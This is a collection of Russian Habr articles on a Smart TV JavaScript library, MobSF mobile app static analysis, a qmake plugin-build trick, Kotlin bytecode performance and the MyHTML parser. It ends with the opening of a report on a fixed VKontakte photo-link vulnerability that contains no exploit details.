Для демонстрации работы клавиатуры в сцене `input`, каждому отдельному полю ввода подключается клавиатура через метод `SBInput`. [Документация по клавиатуре](https://github.com/immosmart/smartbox/blob/master/docs/ru_keyboard.md) также содержит информацию о способах добавления своих языков и раскладок.**Пример подключения клавиатуры**Например, следующий код отобразит клавиатуру для ввода email на поле с классом `js-input-2`, естественно, после события `click`:
```
//js/scene/input.js
this.$el.find('.js-input-2').SBInput({
keyboard: {
type: 'email'
}
});
```
#### navigation.js
Сцена, демонстрирующая события `nav_focus` и `nav_blur` для элементов с классом `navigation-item`, не отличается спецификой навигации и просто реализует подмену информационного блока при смени элемента в фокусе.**Основной код сцены**
```
//js/scene/navigation.js
init: function () {
var $info;
this.$el = $('.js-scene-navigation');
$info = this.$el.find('.navigation-info');
this.$el
.find('.navigation-item')
.on(
{
'nav_focus': function () {
$info.html('Item with text "' + this.innerHTML + '" focused');
},
'nav_blur': function () {
$info.html('');
}
});
_inited = true;
}
```
**Ссылки на ресурсы для разработчиков**
---------------------------------------
* [Samsung](http://www.samsungdforum.com)
* [LG](http://developer.lge.com/main/Intro.dev)
* [Philips](http://www.yourappontv.com/home)
**Библиотека Smartbox**
-----------------------
* Репозиторий — [github.com/immosmart/smartbox](https://github.com/immosmart/smartbox).
* Полное демо — [immosmart.github.io/smartbox/demo/demoApp/](http://immosmart.github.io/smartbox/demo/demoApp/).
* Авторы решения:
+ Чинин Денис (chininden[at]gmail.com),
+ Полецкий Артём (artempoletsky[at]gmail.com),
+ Попович Илья (Loshadushka[at]gmail.com),
+ Шамгунов Ильдар (il.shamgunov[at]gmail.com),
+ Паунин Дмитрий ([Zmeeed](https://habrahabr.ru/users/zmeeed/)).
+ Логинов Павел ([PLoginoff](https://habrahabr.ru/users/ploginoff/)),
+ Смородин Антон ([melkov](https://habrahabr.ru/users/melkov/)).
* [Таск трекер](https://github.com/immosmart/smartbox/issues) проекта, где вы можете задать вопрос, создать задачу или взять задачу в реализацию.
Всем спасибо и хорошей недели!
P.S.
----
Разработчикам, желающим поучаствовать в проекте и расширить библиотеку, мы всегда рады и ждём pull request'ов
UPD
---
Поддержка и способ [запуска на приставке STB MAG 200/250](https://github.com/immosmart/smartbox/blob/master/docs/ru_mag.md) | https://habr.com/ru/post/188294/ | null | ru | null |
# Статический анализ мобильных приложений
Одним из этапов тестирования мобильного приложения — это статический анализ. Статический анализ приложения — это анализ приложения без выполнения каких либо функций приложения. Наиболее удобным для меня из open source фреймворков есть MobSF. Кому интересно, добро пожаловать под кат.
MobSF выполняет статический анализ приложений: Android, Apple iOS и Windows Phone и динамический анализ: только приложения для Android. Как проводить динамический анализ расскажу в следующей статье посвящённой MobSF. Более подробное описание и мануал по установке можно прочитать по [ссылке](https://github.com/MobSF/Mobile-Security-Framework-MobSF).
После установки MobSF — выполним следующий батничек для запуска сервера (писал для себя, поэтому диск D).
```
d:
cd .\MobSF\
python .\manage.py runserver
```
Дальше нужно перейтипо адресу *http[:]//127.0.0.1:8000* и открывается главная страница(Рис. 1). Здесь функционала не много:
* загрузка файла;
* просмотреть отчеты по прошедшим сканам;
* переход на документацию API;
* переход на GitHub проекта.
*Рис. 1. Главная страница*
После того как файл был загружен и проанализирован, появляется страница с результатом анализа (Рис. 2). Слева меню, которое позволит переходить быстро по всей странице (результат объёмный просто). Какая полезная информация находится на этом скриншоте:
* хэш-сумма приложения;
* поддерживаемые версии OS Android;
* количество и типы компонентов (экспортированный или нет), это важно, так как экспортированные компоненты могут привести к критическим уязвимостям;
* возможность просмотреть и скачать java- и smali-файлы, которые можно проанализировать другими инструментами или вручную;
* просмотреть файл манифеста, для анализа.
*Рис. 2. Результат анализа*
Идем далее. На рис. 3 показана информация по сертификату, которым было подписано приложение.
*Рис. 3. Информация о сертификате*
Далее идёт описание анализа permissions, которые описаны в файле AndroidManifest.xml (Рис. 4). MobSF анализирует permissions приложения, определяет его статус, на предмет критичности и описание permissions. Здесь нужно понимать архитектуру OS Android для действительной критичности приложения.
*Рис. 4. Анализ Android Permissions*
На вкладке Security Analysis -> Code Analysis (Рис. 5) показывается результат анализа java-кода статическим анализатором, который определяет потенциальные уязвимости, определяет их критичность и файлы в которых этот тип уязвимости был найден. Во многом эти результаты является являются false positive, но нужно это всё перепроверять.
*Рис. 5. Анализ кода*
Следующая вкладка (Рис. 6) — это анализ файлов, на сервисе virustotal.com. В данном случае файл не определялся как заражённый.
*Рис. 6. Анализ файла*
Вкладка URLs (Рис. 7) выводит список URL-адресов, IP-адресов и файлов в которых они хранятся или вызываются. В этом разделе анализируются куда приложение отправляет данные или куда сохраняет информацию.
*Рис. 7. Вкладка URLs*
Вкладка “Strings” (Рис. 8) проводит анализ текстовых файлов, которые находятся в директории res. При анализе приложения эти файлы могут содержать захардкодженые учетки и другие чувствительные данные. Хотя на моей памяти такого не было.
*Рис. 8. Анализ текстовых файлов*
Вкладка “Components” (Рис. 9) выводит полный список компонентов (activity, service, content provider и receives), импортированные библиотеки и файлы без определения расширения.
*Рис. 9. Список компонентов*
Дополнительно анализ исходного кода можно провести с помощью статического анализатора VCG scanner. Для VCG нужен исходный код. Исходный код можно загрузить через кнопку Download Java Code (Рис. 10). Файл скачивается в ZIP-архиве. Дальше нужно извлечь папку с файлами из архива (Рис. 11).
*Рис. 10. Скачивание исходного кода*
*Рис. 11. Извлечение исходного кода*
Сканирование исходного кода делается следующим образом:
1. Во вкладке “Settings” выбираем пункт “Java” — рисунок 12.
2. Во вкладке “File” выбираем “New Target Directory” — рисунок 13.
3. Во вкладке “Scan” выбираем “Full scan” — рисунок 14.
*Рис. 12. Выбор исходного кода*
*Рис. 13. Подгрузка директории с файлами*
*Рис. 14. Запуск сканирования*
После завершения сканирования сканер выдаёт названия уязвимости, её критичность, краткое описание и место в исходном коде (Рис. 15). Можно получить полный список уязвимостей и сортировать по их критичности (Рис. 16).
*Рис. 15. Описание уязвимостей*
*Рис. 16. Полный список уязвимостей*
***Вывод***
Статический анализ приложения и исходного кода даёт базовые понятия об архитектуре приложения и потенциальных векторов атак. Согласно методологии применяемой в компании [ByteCode](https://bytecode.biz) именно с него начинается анализ любых приложений от клиента пришедших на пентест. | https://habr.com/ru/post/429252/ | null | ru | null |
# Выборочная сборка плагинов — мы пойдём иным путём
Всем хабрапривет!
Маленькая (ну очень маленькая) заметка о том, как дать плагину выбирать самому — собираться в данной системе или нет. Конечно, есть старый добрый способ — просто исключить сам лишний плагин из сборки, к примеру, так:
```
# plugins.pro
TEMPLATE=subdirs
SUBDIRS+=common
macx: SUBDIRS+=macplugin
win32: SUBDIRS+=winplugin
```
Но при таком подходе при добавлении каждого нового плагина надо его прописать в plugins.pro и установить для каких систем он будет собираться. Если плагинов всего-то 5 штук и больше не предвидится, то это нормально. Но если уже есть 20 плагинов, и ещё 30 планируется, причём многие из них должны собираться только под некоторые платформы, то plugins.pro превращается в помойку. Если разработчиков несколько, то это вносит ещё большую путаницу.
Не логичнее ли перенести заботу о том, в каких системах плагину собираться, на хрупкие плечи его разработчика? Тогда файлик plugins.pro становится совсем простым и понятным:
```
# plugins.pro
TEMPLATE=subdirs
SUBDIRS+=common
SUBDIRS+=macplugin
SUBDIRS+=winplugin
```
Но зато в macplugin.pro придётся писать что-то вот такое (аналогично будет и для winplugin.pro):
```
# macplugin.pro
macx: {
# project configuration here
} else {
include(../nobuild.inc)
}
```
Как видно, дело теперь за малым — сделать в корне папки с исходниками плагинов файлик nobuild.inc и написать в него нечто, чтобы он отменял сборку плагина. Сначала кажется, что его лучше вообще пустым оставить, но это приведёт к попытке плагин собрать — ибо Qt для пустых .pro файлов пытается собрать все исходники в папке с параметрами по-умолчанию. А значит, попытается исходники плагина собрать в исполняемый файл, да тем более исходники, не предназначенные для данной OS. Разумеется, в этом случае Вы, скорее всего, увидите нечто похожее на картинку в начале топика.
Перерыв документацию по [qmake](http://developer.qt.nokia.com/doc/qt-4.8/qmake-reference.html), я не нашёл ни одной функции для пропуска сборки проекта, поэтому пришлось делать грязный хак: подменить компилятор и линковщик! На что? Ну, какая программа есть во всех системах, не делает ничего деструктивного, принимает любые аргументы и при этом всегда возвращает 0?
В общем, пишем так:
```
# nobuild.inc
QMAKE_CXX=echo
QMAKE_LINK=echo
win32: {
CONFIG-=embed_manifest_exe
CONFIG-=embed_manifest_dll
TARGET=
}
```
Блок для Windows нужен чтобы qmake не пытался внедрить манифест в несобранный бинарник.
**«Заключение» или типа того.**
Метод грязноват, явный костыль, но он работает. И потом — что за программа без костылей? =)
Но если уважаемые хабралюди предложат иной, более адекватный метод решения проблемы, буду только рад. | https://habr.com/ru/post/139026/ | null | ru | null |
# Kotlin, компиляция в байткод и производительность (часть 2)
Это продолжение публикации. Первую часть можно посмотреть [тут](https://habrahabr.ru/company/inforion/blog/330060/)
Содержание:
-----------
[Циклы](https://habrahabr.ru/company/inforion/blog/330064/#P1)
[When](https://habrahabr.ru/company/inforion/blog/330064/#P2)
[Делегаты](https://habrahabr.ru/company/inforion/blog/330064/#P3)
[Object и companion object](https://habrahabr.ru/company/inforion/blog/330064/#P4)
[lateinit свойства](https://habrahabr.ru/company/inforion/blog/330064/#P5)
[coroutines](https://habrahabr.ru/company/inforion/blog/330064/#P6)
[Выводы](https://habrahabr.ru/company/inforion/blog/330064/#P7)
Циклы:
------
В языке Kotlin отсутствует классический for с тремя частями, как в Java. Кому-то это может показаться проблемой, но если подробнее посмотреть все случаи использования такого цикла, то можно увидеть, что по большей части он применяется как раз для перебора значений. На смену ему в Kotlin есть упрощенная конструкция.
```
//Kotlin
fun rangeLoop() {
for (i in 1..10) {
println(i)
}
}
```
1..10 тут это диапазон по которому происходит итерация. Компилятор Kotlin достаточно умный, он понимает что мы собираемся в данном случае делать и поэтому убирает весь лишний оверхед. Код компилируется в обычный цикл while с переменной счетчика цикла. Никаких итераторов, никакого оверхеда, все достаточно компактно.
```
//Java
public static final void rangeLoop() {
int i = 1;
byte var1 = 10;
if(i <= var1) {
while(true) {
System.out.println(i);
if(i == var1) {
break;
}
++i;
}
}
}
```
Похожий цикл по массиву (который в Kotlin записывается в виде Array<\*>), компилируется аналогичным образом в цикл for.
```
//Kotlin
fun arrayLoop(x: Array) {
for (s in x) {
println(s)
}
}
```
```
//Java
public static final void arrayLoop(@NotNull String[] x) {
Intrinsics.checkParameterIsNotNull(x, "x");
for(int var2 = 0; var2 < x.length; ++var2) {
String s = x[var2];
System.out.println(s);
}
}
```
Немного другая ситуация возникает, когда происходит перебор элементов из списка:
```
//Kotlin
fun listLoop(x: List) {
for (s in x) {
println(s)
}
}
```
В этом случае приходится использовать итератор:
```
//Java
public static final void listLoop(@NotNull List x) {
Intrinsics.checkParameterIsNotNull(x, "x");
Iterator var2 = x.iterator();
while(var2.hasNext()) {
String s = (String)var2.next();
System.out.println(s);
}
}
```
Таким образом, в зависимости от того по каким элементам происходит перебор, компилятор Kotlin сам выбирает самый эффективный способ преобразовать цикл в байткод.
Ниже приведено сравнение производительности для циклов с аналогичными решениями в Java:
#### Циклы
Как видно разница между Kotlin и Java минимальна. Байткод получается очень близким к тому что генерирует javac. По словам разработчиков они еще планируют улучшить это в следующих версиях Kotlin, чтобы результирующий байткод был максимально близок к тем паттернам, которые генерирует javac.
When
----
When — это аналог switch из Java, только с большей функциональностью. Рассмотрим ниже несколько примеров и то, во что они компилируются:
```
/Kotlin
fun tableWhen(x: Int): String = when(x) {
0 -> "zero"
1 -> "one"
else -> "many"
}
```
Для такого простого случая результирующий код компилируется в обычный switch, тут никакой магии не происходит:
```
//Java
public static final String tableWhen(int x) {
String var10000;
switch(x) {
case 0:
var10000 = "zero";
break;
case 1:
var10000 = "one";
break;
default:
var10000 = "many";
}
return var10000;
}
```
Если же немного изменить пример выше, и добавить константы:
```
//Kotlin
val ZERO = 1
val ONE = 1
fun constWhen(x: Int): String = when(x) {
ZERO -> "zero"
ONE -> "one"
else -> "many"
}
```
То код в этом случае уже компилируется в следующий вид:
```
//Java
public static final String constWhen(int x) {
return x == ZERO?"zero":(x == ONE?"one":"many");
}
```
Это происходит потому, что на данный момент компилятор Kotlin не понимает, что значения являются константами, и вместо преобразования к switch, код преобразуется к набору сравнений. Поэтому вместо константного времени происходит переход к линейному (в зависимости от количества сравнений). По словам разработчиков языка, в будущем это может быть легко исправлено, но в текущей версии это пока так.
Существует также возможность использовать модификатор const для констант, известных на момент компиляции.
```
//Kotlin (файл When2.kt)
const val ZERO = 1
const val ONE = 1
fun constWhen(x: Int): String = when(x) {
ZERO -> "zero"
ONE -> "one"
else -> "many"
}
```
Тогда в этом случае компилятор уже правильно оптимизирует when:
```
public final class When2Kt {
public static final int ZERO = 1;
public static final int ONE = 2;
@NotNull
public static final String constWhen(int x) {
String var10000;
switch(x) {
case 1:
var10000 = "zero";
break;
case 2:
var10000 = "one";
break;
default:
var10000 = "many";
}
return var10000;
}
}
```
Если же заменить константы на Enum:
```
//Kotlin (файл When3.kt)
enum class NumberValue {
ZERO, ONE, MANY
}
fun enumWhen(x: NumberValue): String = when(x) {
NumberValue.ZERO -> "zero"
NumberValue.ONE -> "one"
NumberValue.MANY -> "many"
}
```
То код, также как в первом случае, будет компилироваться в switch (практический такой же как в случае перебора enum в Java).
```
//Java
public final class When3Kt$WhenMappings {
// $FF: synthetic field
public static final int[] $EnumSwitchMapping$0 = new int[NumberValue.values().length];
static {
$EnumSwitchMapping$0[NumberValue.ZERO.ordinal()] = 1;
$EnumSwitchMapping$0[NumberValue.ONE.ordinal()] = 2;
$EnumSwitchMapping$0[NumberValue.MANY.ordinal()] = 3;
}
}
public static final String enumWhen(@NotNull NumberValue x) {
Intrinsics.checkParameterIsNotNull(x, "x");
String var10000;
switch(When3Kt$WhenMappings.$EnumSwitchMapping$0[x.ordinal()]) {
case 1:
var10000 = "zero";
break;
case 2:
var10000 = "one";
break;
case 3:
var10000 = "many";
break;
default:
throw new NoWhenBranchMatchedException();
}
return var10000;
}
```
По ordinal номеру элемента определяется номер ветки в switch, по которому далее и происходит выбор нужной ветви.
Посмотрим на сравнение производительности решений на Kotlin и Java:
#### When
Как видно простой switch работает точно также. В случае, когда компилятор Kotlin не смог определить что переменные константы и перешел к сравнениям, Java работает чуть быстрее. И в ситуации, когда перебираем значения enum, также есть небольшая потеря на возню с определением ветви по значению ordinal. Но все эти недостатки будут исправлены в будущих версиях, и к тому же потеря в производительности не очень большая, а в критичных местах можно переписать код на другой вариант. Вполне разумная цена за удобство использования.
Делегаты
--------
Делегирование — это хорошая альтернатива наследованию, и Kotlin поддерживает его прямо из коробки. Рассмотрим простой пример с делегированием класса:
```
//Kotlin
package examples
interface Base {
fun print()
}
class BaseImpl(val x: Int) : Base {
override fun print() { print(x) }
}
class Derived(b: Base) : Base by b {
fun anotherMethod(): Unit {}
}
```
Класс Derived в конструкторе получает экземпляр класса, реализующий интерфейс Base, и в свою очередь делегирует реализацию всех методов интерфейса Base к передаваемому экземпляру. Декомпилированный код класса Derived будет выглядеть следующим образом:
```
public final class Derived implements Base {
private final Base $$delegate_0;
public Derived(@NotNull Base b) {
Intrinsics.checkParameterIsNotNull(b, "b");
super();
this.$$delegate_0 = b;
}
public void print() {
this.$$delegate_0.print();
}
public final void anotherMethod() {
}
}
```
В конструктор класса передается экземпляр класса, который запоминается в неизменяемом внутреннем поле. Также переопределяется метод print интерфейса Base, в котором просто происходит вызов метода из делегата. Все достаточно просто.
Существует также возможность делегировать не только реализацию всего класса, но и отдельных его свойств (а с версии 1.1 еще возможно делегировать инициализацию в локальных переменных).
Код на Kotlin:
```
//Kotlin
class DeleteExample {
val name: String by Delegate()
}
```
Компилируется в код:
```
public final class DeleteExample {
@NotNull
private final Delegate name$delegate = new Delegate();
static final KProperty[] $$delegatedProperties = new KProperty[]{(KProperty)Reflection.property1(new PropertyReference1Impl(Reflection.getOrCreateKotlinClass(DeleteExample.class), "name", "getName()Ljava/lang/String;"))};
@NotNull
public final String getName() {
return this.name$delegate.getValue(this, $$delegatedProperties[0]);
}
}
```
При инициализации класса DeleteExample создается экземпляр класса Delegate, сохраняемый в поле name$delegate. И далее вызов функции getName переадресовывается к вызову функции getValue из name$delegate.
В Kotlin есть уже несколько стандартных делегатов:
— lazy, для ленивых вычислений значения поля.
— observable, который позволяет получать уведомления обо всех изменения значения поля
— map, используемый для инициализации значений поля из значений Map.
Object и companion object
-------------------------
В Kotlin нет модификатора static для методов и полей. Вместо них, по большей части, рекомендуется использовать функции на уровне файла. Если же нужно объявить функции, которые можно вызывать без экземпляра класса, то для этого есть object и companion object. Рассмотрим на примерах как они выглядят в байткоде:
Простое объявление object с одним методом выглядит следующим образом:
```
//Kotlin
object ObjectExample {
fun objectFun(): Int {
return 1
}
}
```
В коде дальше можно обращаться к методу objectFun без создания экземпляра ObjectExample. Код компилируется в практически каноничный синглтон:
```
public final class ObjectExample {
public static final ObjectExample INSTANCE;
public final int objectFun() {
return 1;
}
private ObjectExample() {
INSTANCE = (ObjectExample)this;
}
static {
new ObjectExample();
}
}
```
И место вызова:
```
//Kotlin
val value = ObjectExample.objectFun()
```
Компилируется к вызову INSTANCE:
```
//Java
int value = ObjectExample.INSTANCE.objectFun();
```
companion object используется для создания аналогичных методов только уже в классе, для которого предполагается создание экземпляров.
```
//Kotlin
class ClassWithCompanion {
val name: String = "Kurt"
companion object {
fun companionFun(): Int = 5
}
}
//method call
ClassWithCompanion.companionFun()
```
Обращение к методу companionFun также не требует создания экземпляра класса, и в Kotlin будет выглядеть как простое обращение к статическому методу. Но на самом деле происходит обращение к компаньону класса. Посмотрим декомпилированный код:
```
//Java
public final class ClassWithCompanion {
@NotNull
private final String name = "Kurt";
public static final ClassWithCompanion.Companion Companion = new ClassWithCompanion.Companion((DefaultConstructorMarker)null);
@NotNull
public final String getName() {
return this.name;
}
public static final class Companion {
public final int companionFun() {
return 5;
}
private Companion() {
}
public Companion(DefaultConstructorMarker $constructor_marker) {
this();
}
}
}
//вызов функции
ClassWithCompanion.Companion.companionFun();
```
Компилятор Kotlin упрощает вызовы, но из Java, правда, выглядит уже не так красиво. К счастью, есть возможность объявить методы по настоящему статическими. Для этого существует аннотация @JvmStatic. Ее можно добавить как к методам object, так и к методам companion object. Рассмотрим на примере object:
```
//Kotlin
object ObjectWithStatic {
@JvmStatic
fun staticFun(): Int {
return 5
}
}
```
В этом случае метод staticFun будет действительно объявлен статическим:
```
public final class ObjectWithStatic {
public static final ObjectWithStatic INSTANCE;
@JvmStatic
public static final int staticFun() {
return 5;
}
private ObjectWithStatic() {
INSTANCE = (ObjectWithStatic)this;
}
static {
new ObjectWithStatic();
}
}
```
Для методов из companion object тоже можно добавить аннотацию @JvmStatic:
```
class ClassWithCompanionStatic {
val name: String = "Kurt"
companion object {
@JvmStatic
fun companionFun(): Int = 5
}
}
```
Для такого кода будет также создан статичный метод companionFun. Но сам метод все равно будет вызывать метод из компаньона:
```
public final class ClassWithCompanionStatic {
@NotNull
private final String name = "Kurt";
public static final ClassWithCompanionStatic.Companion Companion = new ClassWithCompanionStatic.Companion((DefaultConstructorMarker)null);
@NotNull
public final String getName() {
return this.name;
}
@JvmStatic
public static final int companionFun() {
return Companion.companionFun();
}
public static final class Companion {
@JvmStatic
public final int companionFun() {
return 5;
}
private Companion() {
}
// $FF: synthetic method
public Companion(DefaultConstructorMarker $constructor_marker) {
this();
}
}
}
```
Как показано выше, Kotlin предоставляет различные возможности для объявления как статических методов так и методов компаньонов. Вызов статических методов чуть быстрее, поэтому в местах, где важна производительность, все же лучше ставить аннотации @JvmStatic на методы (но все равно не стоит рассчитывать на большой выигрыш в быстродействии)
lateinit свойства
-----------------
Иногда возникает ситуация, когда нужно объявить notnull свойство в классе, значение для которого мы не можем сразу указать. Но при инициализации notnull поля мы обязаны присвоить ему значение по умолчанию, либо сделать свойство Nullable и записать в него null. Чтобы не переходить к nullable, в Kotlin существует специальный модификатор lateinit, который говорит компилятору Kotlin о том, что мы обязуемся сами позднее инициализировать свойство.
```
//Kotlin
class LateinitExample {
lateinit var lateinitValue: String
}
```
Если же мы попробуем обратиться к свойству без инициализации, то будет брошено исключение UninitializedPropertyAccessException. Подобная функциональность работает достаточно просто:
```
//Java
public final class LateinitExample {
@NotNull
public String lateinitValue;
@NotNull
public final String getLateinitValue() {
String var10000 = this.lateinitValue;
if(this.lateinitValue == null) {
Intrinsics.throwUninitializedPropertyAccessException("lateinitValue");
}
return var10000;
}
public final void setLateinitValue(@NotNull String var1) {
Intrinsics.checkParameterIsNotNull(var1, "");
this.lateinitValue = var1;
}
}
```
В getter вставляется дополнительная проверка значения свойства, и если в нем хранится null, то кидается исключение. Кстати именно из-за этого в Kotlin нельзя сделать lateinit свойство с типом Int, Long и других типов, которые соответствуют примитивным типам Java.
coroutines
----------
В версии Kotlin 1.1 появилась новая функциональность, называемая корутины (coroutines). С ее помощью можно легко писать асинхронный код в синхронном виде. Помимо основной библиотеки (kotlinx-coroutines-core) для поддержки прерываний, есть еще и большой набор библиотек с различными расширениями:
kotlinx-coroutines-jdk8 — дополнительная библиотека для JDK8
kotlinx-coroutines-nio — расширения для асинхронного IO из JDK7+.
kotlinx-coroutines-reactive — утилиты для реактивных стримов
kotlinx-coroutines-reactor — утилиты для Reactor
kotlinx-coroutines-rx1 — утилиты для RxJava 1.x
kotlinx-coroutines-rx2 — утилиты для RxJava 2.x
kotlinx-coroutines-android — UI контекст для Android.
kotlinx-coroutines-javafx — JavaFx контекст для JavaFX UI приложений.
kotlinx-coroutines-swing — Swing контекст для Swing UI приложений.
**Примечание: Функциональность пока находится в экспериментальной стадии, поэтому все сказанное ниже еще может измениться.**
Для того, чтобы обозначить, что функция может быть прервана и использована в контексте прерывания, используется модификатор suspend
```
//Kotlin
suspend fun asyncFun(x: Int): Int {
return x * 3
}
```
Декомпилированный код выглядит следующим образом:
```
//Java
public static final Object asyncFun(int x, @NotNull Continuation $continuation) {
Intrinsics.checkParameterIsNotNull($continuation, "$continuation");
return Integer.valueOf(x * 3);
}
```
Получается практически исходная функция, за исключением того, что еще передается один дополнительный параметр, реализующий интерфейс Continuation.
```
interface Continuation {
val context: CoroutineContext
fun resume(value: T)
fun resumeWithException(exception: Throwable)
}
```
В нем хранится контекст выполнения, определена функция возвращения результата и функция возвращения исключения, в случае ошибки.
Корутины компилируются в конечный автомат (state machine). Рассмотрим на примере:
```
val a = a()
val y = foo(a).await() // точка прерывания #1
b()
val z = bar(a, y).await() // точка прерывания #2
c(z)
```
Функции foo и bar возвращают CompletableFuture, на которых вызывается suspend функция await. Декомпилировать в Java такой код не получится (по большей части из-за goto), поэтому рассмотрим его в псевдокоде:
```
class extends CoroutineImpl<...> implements Continuation {
// текущее состояние машины состояний
int label = 0
// локальные переменные корутин
A a = null
Y y = null
void resume(Object data) {
if (label == 0) goto L0
if (label == 1) goto L1
if (label == 2) goto L2
else throw IllegalStateException()
L0:
a = a()
label = 1
data = foo(a).await(this) // 'this' передается как continuation
if (data == COROUTINE\_SUSPENDED) return // возвращение, если await прервал выполнение
L1:
// внешний код возвращает выполнение корутины, передавая результат как data
y = (Y) data
b()
label = 2
data = bar(a, y).await(this) // 'this' передается как continuation
if (data == COROUTINE\_SUSPENDED) return // возвращение, если await прервал выполнение
L2:
// внешний код возвращает выполнение корутины передавая результат как data
Z z = (Z) data
c(z)
label = -1 // Не допускается больше никаких шагов
return
}
}
```
Как видно, получаются 3 состояния: L0, L1, L2. Выполнение начинается в состоянии L0, далее из которого происходит переключение в состояние L1 и после в L2. В конце происходит переключение состояния в -1 как индикация того, что больше никаких шагов не допускается.
Сами корутины могут выполняться в различных потоках, есть удобный механизм для управления этим при помощи указания пула в контексте запуска корутины. Можно посмотреть подробный [гайд](https://github.com/Kotlin/kotlinx.coroutines/blob/master/coroutines-guide.md) с большим количеством примеров и описанием их использования.
Все исходные коды на Kotlin доступны в [github](https://github.com/evgzakharov/kotlin_bytecode_examples). Можно открыть их у себя и поэкспериментировать с кодом, параллельно просматривая, в какой итоговый байткод компилируются исходники.
Выводы
------
Производительность приложений на Kotlin будет не сильно хуже, чем на Java, а с использованием модификатора inline может даже оказаться лучше. Компилятор во всех местах старается генерировать наиболее оптимизированный байткод. Поэтому не стоит бояться, что при переходе на Kotlin вы получите большое ухудшение производительности. А в особо критичных местах, зная во что компилируется Kotlin, всегда можно переписать код на более подходящий вариант. Небольшая плата за то, что язык позволяет реализовывать сложные конструкции в достаточно лаконичном и простом виде.
Спасибо за внимание! Надеюсь вам понравилась статья. Прошу всех тех, кто заметил какие-либо ошибки или неточности написать мне об этом в личном сообщении. | https://habr.com/ru/post/330064/ | null | ru | null |
# MyHTML — HTML парсер на «голом» Си с поддержкой POSIX Threads
Всем привет!
Как можно было догадаться из заголовка речь пойдет о парсинге HTML (далее хтмл).
**Преамбула**
Как-то появилась у меня идея «Х», но для её реализации нужен посчитанный DOM со всеми стилями и плюшками. Гугление и яндексение ничего хорошего не показало. Есть всякие обвёртки для WebKit, но они работают не на всех платформах, да и сильно обрезанные. Существуют проекты где WebKit завёрнут в некий фронтэнд с которым ты работаешь через JavaScript. Что-то было испробовано, но результат был плачевным. Потребление ресурсов чего только стоило.
**Хотелки**
А хотелось, как тогда казалось, не так много:
1. Отрисовщик (Render) хтмл без диких зависимостей. Только отрисовщик, сеть ложилась бы на пользователя. Иначе говоря, полный расчёт хтмл до момента рисования в окошке.
2. Возможность приладить обвёртку для JavaScript движка
3. Возможность легко сделать обвёртку для других языков программирования
**И я вступил в неравный бой!**
Изучал существующие хтмл и CSS (далее цэсс) парсеры.
Будучи бэкэнд разработчиком меня всегда не устраивали существующие хтмл парсеры. Все они делились условно на три категории:
1. Парсят как душе угодно, имея исключительно своё представление об токенизации хтмл
2. Парсят как-то следуя спецификации
3. Парсят чётко следуя спецификации
Казалось бы, есть же третий пункт, наверное тему можно и закрыть?! Но нет, и вот почему: все существующие парсеры устроены по принципу «Парсим и Умираем». Это когда ты отдаешь программе целый хтмл, программа возвращает результат и любые последующие манипуляции невозможны, только чтение. Этот факт сильно ограничивает область применения парсеров. Стоит сделать ремарку, есть те кто работу с DOM перекладывает на уровень выше. Смысл такой: парсим сишным парсером, а потом через обвёртку пытаемся работать с DOM на, к примеру, Python, что немного абсурдно.
Далее, никто не позволял вклиниться в поток (имеется ввиду хтмл) в момент парсинга. Это крайне важно для прилаживания JavaScript движка. Не буду долго объяснять, а лучше покажу почему:
Фрагмент хтмл документа:
```
document.write("<div cl");ass="future">
```
Итог любого браузера с JS:
```
...
```
То есть, в итоге будет создан полноценный DIV элемент. К слову, токенизация тега SCRIPT то ещё дело. Мне пришлось рисовать **схему**
После всего увиденного было принято решение писать всё с нуля на Си. Тут же возникли требования к коду:
1. Поддержка C99
2. Возможность отделить хтмл парсер от отрисовщика чтобы использовать отдельно
3. Без внешних зависимостей
Зачем же так сразу жёстко — на Си?! Решение должно быть встраиваемым, чтобы без особого труда можно было сделать обвязку для стороннего языка программирования.
С переменным успехом удалось реализовать в черновом варианте:
1. Парсер хтмл
2. Парсер цэсс
3. Селекторы (Selectors)
4. Отрисовщик inline, inline-block, block, table...
Про отрисовщик можно писать долго, за короткой фразой «Отрисовщик inline элементов» прячется не мало: работа со шрифтами по спецификации, расчёт размера текста, расчет vertical-align, построение вспомогательного дерева для отрисовки текста и ещё куча всего.
В итоге, после двух-трёх лет неспешной разработки я начинаю переделывать черновой вариант в рабочий. Первым, что логично, стал хтмл парсер.
Сейчас хтмл парсер обладает следующими возможностями:
* Асинхронно парсить HTML, обрабатывать токены, строить дерево
* Полная поддержка HTML 5 по спецификации [html.spec.whatwg.org/multipage](https://html.spec.whatwg.org/multipage/)
* Имеем два API: «Высокого» уровня и «низкого». Первое-это публичное апи, которое имеет описание и вообще, всё как у людей, но не позволяет видеть структуры. Второе-это использование исходников напрямую.
* Возможность манипулировать элементами: добавлять, удалять, изменять .
* Возможность манипуляции с атрибутами элементов: добавлять, удалять, изменять
* Поддерживает 34 кодировки на вход. На выход только UTF-8, и вся работа внутри только в UTF-8
* Может определять кодировку текста. Сейчас доступны unicode: UTF-8, UTF-16LE, UTF-16BE (+ определение по BOM) и русские: windows-1251, koi8-r, iso-8859-5, x-mac-cyrillic, ibm866
* Может работать в Single Mode — без тредов
* Парсить фрагменты HTML
* Парсить кусками (chunks). Можно отдавать резанные куски HTML (разорванные в произвольном месте) и он будет их парсить, без предварительного накопления буфера.
* Не имеет внешних зависимостей
* Поддерживает C99
* Работа с памятью. Память кешируется, выделяется кусками и под объекты. К примеру, удаление десяти элементов, а потом добавление десяти других не съест память под новые
+ еще куча всяких мелких, но нужных штук о которых можно писать долго.
На очереди CSS парсер и Render. Делаю всё один, «бензина» должно хватить.
Любая помощь крайне приветствуется!
Спасибо за внимание! Надеюсь вам будет это полезно!
Собственно [сам парсер](https://github.com/lexborisov/myhtml)
P.S.: Если сообщество проявит к этой теме интерес то могу писать узконаправленные статьи о том как работает расчёт отрисовки и с какими сложностями сталкивался/сталкиваюсь. | https://habr.com/ru/post/277031/ | null | ru | null |
# Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии
**tl;dr**Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».
